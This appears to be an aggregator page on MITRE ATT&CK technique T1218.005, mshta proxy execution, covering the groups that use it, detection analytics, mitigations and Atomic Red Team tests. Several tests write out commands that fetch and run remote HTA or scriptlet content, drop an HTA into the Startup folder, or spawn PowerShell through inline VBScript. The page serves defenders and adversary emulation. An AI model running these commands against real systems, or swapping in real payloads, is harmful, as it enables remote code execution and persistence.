tfMITRE ATT&CK sub-technique

Mshta T1218.005

sub-technique of T1218 System Binary Proxy Execution

Tactic: Stealth
Platform: Windows
Version: 3.0
Created: 23 January 2020
Last modified: 12 May 2026
Contributors: @ionstorm; Ricardo Dias; Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [1] [2] [3] [4] [5]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 11%

Threat groups89th percentile · 89% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 14%

Detection rules86th percentile · 86% of ATT&CK techniques have this many detection rules written or fewer.

Mshta MITRE reference T1218.005

Top 11%of all ATT&CK techniques for number of groups

17 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TA2541G1018 ↗

Has used mshta to execute scripts including VBS.1

created 2023-09-121 reference

SideCopyG1008 ↗

Has utilized mshta.exe to execute a malicious hta file.1

created 2022-08-071 reference

Earth LuscaG1006 ↗

Has used mshta.exe to load an HTA script within a malicious .LNK file.1

created 2022-07-011 referenceaka TAG-22

ConfuciusG0142 ↗

Has used mshta.exe to execute malicious VBScript.1

created 2021-12-261 referenceaka Confucius APT

LazyScripterG0140 ↗

Has used mshta.exe to execute Koadic stagers.1

created 2021-11-241 reference

Mustang PandaG0129 ↗

Has used mshta.exe to launch collection scripts.1

created 2021-04-121 referenceaka TA416

All 17 groups for this technique · 6 newest in this preview

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

C0015C0015 ↗

During C0015, the threat actors used mshta to execute DLLs.1

2021

Operation Dust StormC0016 ↗

During Operation Dust Storm, the threat actors executed JavaScript code via mshta.exe.1

2010–2016

All 2 campaigns for this technique

Offense vs defense T1218.005

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 8Splunk ESCU (cumulative) · 12

first rule: 2018 Q2 · 2 of 2 campaigns plotted

Mshta detection strategy DET0506

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation

Enterprise

1 platform

AN1397 · Windows

Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandLinePattern	Regex patterns for mshta.exe arguments referencing remote HTA/script content; may need tuning to exclude known-good internal scripts.
SuspiciousParentProcesses	List of parent processes considered suspicious when spawning mshta.exe (e.g., Office applications, script interpreters).
AllowedHTASources	Whitelist of domains/paths from which legitimate HTAs are executed.
TimeWindow	Time threshold for correlating mshta.exe execution with subsequent network connections or file creations.

Disable or Remove Feature or ProgramM1042

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.

Execution PreventionM1038

Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.

Tests10ExecutorsPowerShell 7 · cmd 3Need elevation0 of 10Have prerequisites6Have cleanup1Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject

windows

cmd

—

Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.

Input arguments

Name	Type	Default	Description
file_url	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct	location of the payload

Attack command

mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();

GUID67d9e3e3-464c-4739-b07f-c63c0c61abaa

Mshta executes VBScript to execute malicious command

windows

cmd

—

Mshta Executes Remote HTML Application (HTA)

windows

PowerShell

—

Yes

Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.

Input arguments

Name	Type	Default	Description
hta_url	string	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta	URL to HTA file for execution
temp_file	string	$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta	temp_file location for hta

Attack command

$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore

Cleanup command

remove-item "#{temp_file}" -ErrorAction Ignore

GUID45203914-add3-4ff6-9e78-43a749280c1d

Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement

windows

PowerShell

—

Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.

Input arguments

Name	Type	Default	Description
hta_file_path	string	Test.hta	HTA file name and or path to be used
script_engine	string	JScript	Script Engine to use
mshta_file_path	string	$env:windir\system32\mshta.exe	Location of mshta.exe

Attack command

Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUID103d4678-2abf-4f28-a7af-17456cb274c2

Invoke HTML Application - Jscript Engine Simulating Double Click

windows

PowerShell

—

Executes an HTA Application using JScript script engine simulating double click.

Input arguments

Name	Type	Default	Description
hta_file_path	string	Test.hta	HTA file name and or path to be used
script_engine	string	JScript	Script Engine to use

Attack command

Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUID76c1bfa9-2259-44e5-b8ff-b5d283064c32

Invoke HTML Application - Direct download from URI

windows

PowerShell

—

Executes an HTA Application by directly downloading from remote URI.

Input arguments

Name	Type	Default	Description
hta_uri	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/24549e3866407c3080b95b6afebf78e8acd23352/atomics/T1218.005/src/T1218.005.hta	URI to HTA
mshta_file_path	string	$env:windir\system32\mshta.exe	Location of mshta.exe

Attack command

Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUID939a00d7-eabf-4113-a8c9-b7479365564c

Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler

windows

PowerShell

—

Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.

Input arguments

Name	Type	Default	Description
script_engine	string	JScript	Script Engine to use
protocol_handler	string	About	Protocol Handler to use
rundll32_file_path	path	$env:windir\system32\rundll32.exe	Location of rundll32.exe

Attack command

Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUIDcc75ba18-1db5-4e26-abde-9943fe8708fb

Invoke HTML Application - JScript Engine with Inline Protocol Handler

windows

PowerShell

—

Executes an HTA Application with JScript Engine and Inline Protocol Handler.

Input arguments

Name	Type	Default	Description
script_engine	string	JScript	Script Engine to use
mshta_file_path	path	$env:windir\system32\mshta.exe	Location of mshta.exe
protocol_handler	string	About	Protocol Handler to use

Attack command

Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUID3bd4c65b-6f0a-4b49-9838-25fdf3472885

Invoke HTML Application - Simulate Lateral Movement over UNC Path

windows

PowerShell

—

Executes an HTA Application with Simulate lateral movement over UNC Path.

Input arguments

Name	Type	Default	Description
mshta_file_path	string	$env:windir\system32\mshta.exe	Location of mshta.exe

Attack command

Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}

Prerequisite

The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

Check

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

GUIDd425c16e-99b3-488c-8a8a-b9f7438da496

Mshta used to Execute PowerShell

windows

cmd

—

Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.

Input arguments

Name	Type	Default	Description
message	string	Hello,%20MSHTA!	Encoded message to include
seconds_to_sleep	integer	5	How many seconds to sleep/wait

Attack command

mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>'"

GUID0bfd39aa-928c-46d3-8378-a7e2dddf5872

Tests from Atomic Red Team (MIT licence) · technique definition

Mshta detections T1218.005

20 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 14%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs